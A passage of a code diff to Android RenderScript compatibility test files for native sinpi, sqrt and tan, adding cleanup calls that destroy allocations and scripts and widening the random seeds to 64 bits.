+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x6e76d30caee7fd93l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeSinpiFloatFloat(inV, out);
             verifyResultsNativeSinpiFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinpiFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSinpiFloatFloat(inV, out);
             verifyResultsNativeSinpiFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinpiFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSinpiFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeSinpiFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xe10bb9fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xd8150be20e10bb9fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeSinpiFloat2Float2(inV, out);
             verifyResultsNativeSinpiFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinpiFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSinpiFloat2Float2(inV, out);
             verifyResultsNativeSinpiFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinpiFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSinpiFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeSinpiFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x42bdc7dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xd816d4fd042bdc7dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeSinpiFloat3Float3(inV, out);
             verifyResultsNativeSinpiFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinpiFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSinpiFloat3Float3(inV, out);
             verifyResultsNativeSinpiFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinpiFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSinpiFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeSinpiFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xfa46fd5bl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xd8189e17fa46fd5bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeSinpiFloat4Float4(inV, out);
             verifyResultsNativeSinpiFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinpiFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSinpiFloat4Float4(inV, out);
             verifyResultsNativeSinpiFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinpiFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSinpiFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeSinpiHalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x8ec9715l, -100, 100);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x81c25d7c08ec9715l, -100, 100);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeSinpiHalfHalf(inV, out);
             verifyResultsNativeSinpiHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinpiHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSinpiHalfHalf(inV, out);
             verifyResultsNativeSinpiHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinpiHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSinpiHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeSinpiHalf2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x1c0644cfl, -100, 100);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x34d444c01c0644cfl, -100, 100);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeSinpiHalf2Half2(inV, out);
             verifyResultsNativeSinpiHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinpiHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSinpiHalf2Half2(inV, out);
             verifyResultsNativeSinpiHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinpiHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSinpiHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeSinpiHalf3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x7b0e09c3l, -100, 100);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x34d44f617b0e09c3l, -100, 100);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeSinpiHalf3Half3(inV, out);
             verifyResultsNativeSinpiHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinpiHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSinpiHalf3Half3(inV, out);
             verifyResultsNativeSinpiHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinpiHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSinpiHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeSinpiHalf4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xda15ceb7l, -100, 100);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x34d45a02da15ceb7l, -100, 100);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeSinpiHalf4Half4(inV, out);
             verifyResultsNativeSinpiHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinpiHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSinpiHalf4Half4(inV, out);
             verifyResultsNativeSinpiHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinpiHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSinpiHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSqrt.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSqrt.java
index a513ba6..2341a0f 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSqrt.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSqrt.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeSqrtRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeSqrtFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x642f9b06l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x5de9ec2c642f9b06l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeSqrtFloatFloat(inV, out);
             verifyResultsNativeSqrtFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSqrtFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSqrtFloatFloat(inV, out);
             verifyResultsNativeSqrtFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSqrtFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSqrtFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeSqrtFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x6050ef3al, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x4e6581e66050ef3al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeSqrtFloat2Float2(inV, out);
             verifyResultsNativeSqrtFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSqrtFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSqrtFloat2Float2(inV, out);
             verifyResultsNativeSqrtFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSqrtFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSqrtFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeSqrtFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x566c1018l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x4e674b01566c1018l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeSqrtFloat3Float3(inV, out);
             verifyResultsNativeSqrtFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSqrtFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSqrtFloat3Float3(inV, out);
             verifyResultsNativeSqrtFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSqrtFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSqrtFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeSqrtFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x4c8730f6l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x4e69141c4c8730f6l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeSqrtFloat4Float4(inV, out);
             verifyResultsNativeSqrtFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSqrtFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSqrtFloat4Float4(inV, out);
             verifyResultsNativeSqrtFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSqrtFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSqrtFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeSqrtHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x35305520l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x521f545c35305520l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeSqrtHalfHalf(inV, out);
             verifyResultsNativeSqrtHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSqrtHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSqrtHalfHalf(inV, out);
             verifyResultsNativeSqrtHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSqrtHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSqrtHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeSqrtHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xd14de242l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x24475ddfd14de242l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeSqrtHalf2Half2(inV, out);
             verifyResultsNativeSqrtHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSqrtHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSqrtHalf2Half2(inV, out);
             verifyResultsNativeSqrtHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSqrtHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSqrtHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeSqrtHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x3055a736l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x244768813055a736l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeSqrtHalf3Half3(inV, out);
             verifyResultsNativeSqrtHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSqrtHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSqrtHalf3Half3(inV, out);
             verifyResultsNativeSqrtHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSqrtHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSqrtHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeSqrtHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x8f5d6c2al, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x244773228f5d6c2al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeSqrtHalf4Half4(inV, out);
             verifyResultsNativeSqrtHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSqrtHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSqrtHalf4Half4(inV, out);
             verifyResultsNativeSqrtHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSqrtHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSqrtHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTan.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTan.java
index b43ff71..9a257aa 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTan.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTan.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeTanRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeTanFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x37b34543l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x62e3c32037b34543l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeTanFloatFloat(inV, out);
             verifyResultsNativeTanFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeTanFloatFloat(inV, out);
             verifyResultsNativeTanFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeTanFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeTanFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x124981cfl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x3ee708f9124981cfl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeTanFloat2Float2(inV, out);
             verifyResultsNativeTanFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeTanFloat2Float2(inV, out);
             verifyResultsNativeTanFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeTanFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeTanFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x864a2adl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x3ee8d2140864a2adl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeTanFloat3Float3(inV, out);
             verifyResultsNativeTanFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeTanFloat3Float3(inV, out);
             verifyResultsNativeTanFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeTanFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeTanFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xfe7fc38bl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x3eea9b2efe7fc38bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeTanFloat4Float4(inV, out);
             verifyResultsNativeTanFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeTanFloat4Float4(inV, out);
             verifyResultsNativeTanFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeTanFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -326,11 +345,12 @@
     }
 
     private void checkNativeTanHalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x3e70ec45l, -314, 314);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xd30667953e70ec45l, -314, 314);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeTanHalfHalf(inV, out);
             verifyResultsNativeTanHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanHalfHalf: " + e.toString());
         }
@@ -338,9 +358,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeTanHalfHalf(inV, out);
             verifyResultsNativeTanHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeTanHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -394,11 +416,12 @@
     }
 
     private void checkNativeTanHalf2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xa4d18c7fl, -314, 314);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x294134d3a4d18c7fl, -314, 314);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeTanHalf2Half2(inV, out);
             verifyResultsNativeTanHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanHalf2Half2: " + e.toString());
         }
@@ -406,9 +429,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeTanHalf2Half2(inV, out);
             verifyResultsNativeTanHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeTanHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -462,11 +487,12 @@
     }
 
     private void checkNativeTanHalf3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x3d95173l, -314, 314);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x29413f7503d95173l, -314, 314);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeTanHalf3Half3(inV, out);
             verifyResultsNativeTanHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanHalf3Half3: " + e.toString());
         }
@@ -474,9 +500,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeTanHalf3Half3(inV, out);
             verifyResultsNativeTanHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeTanHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -530,11 +558,12 @@
     }
 
     private void checkNativeTanHalf4Half4() {
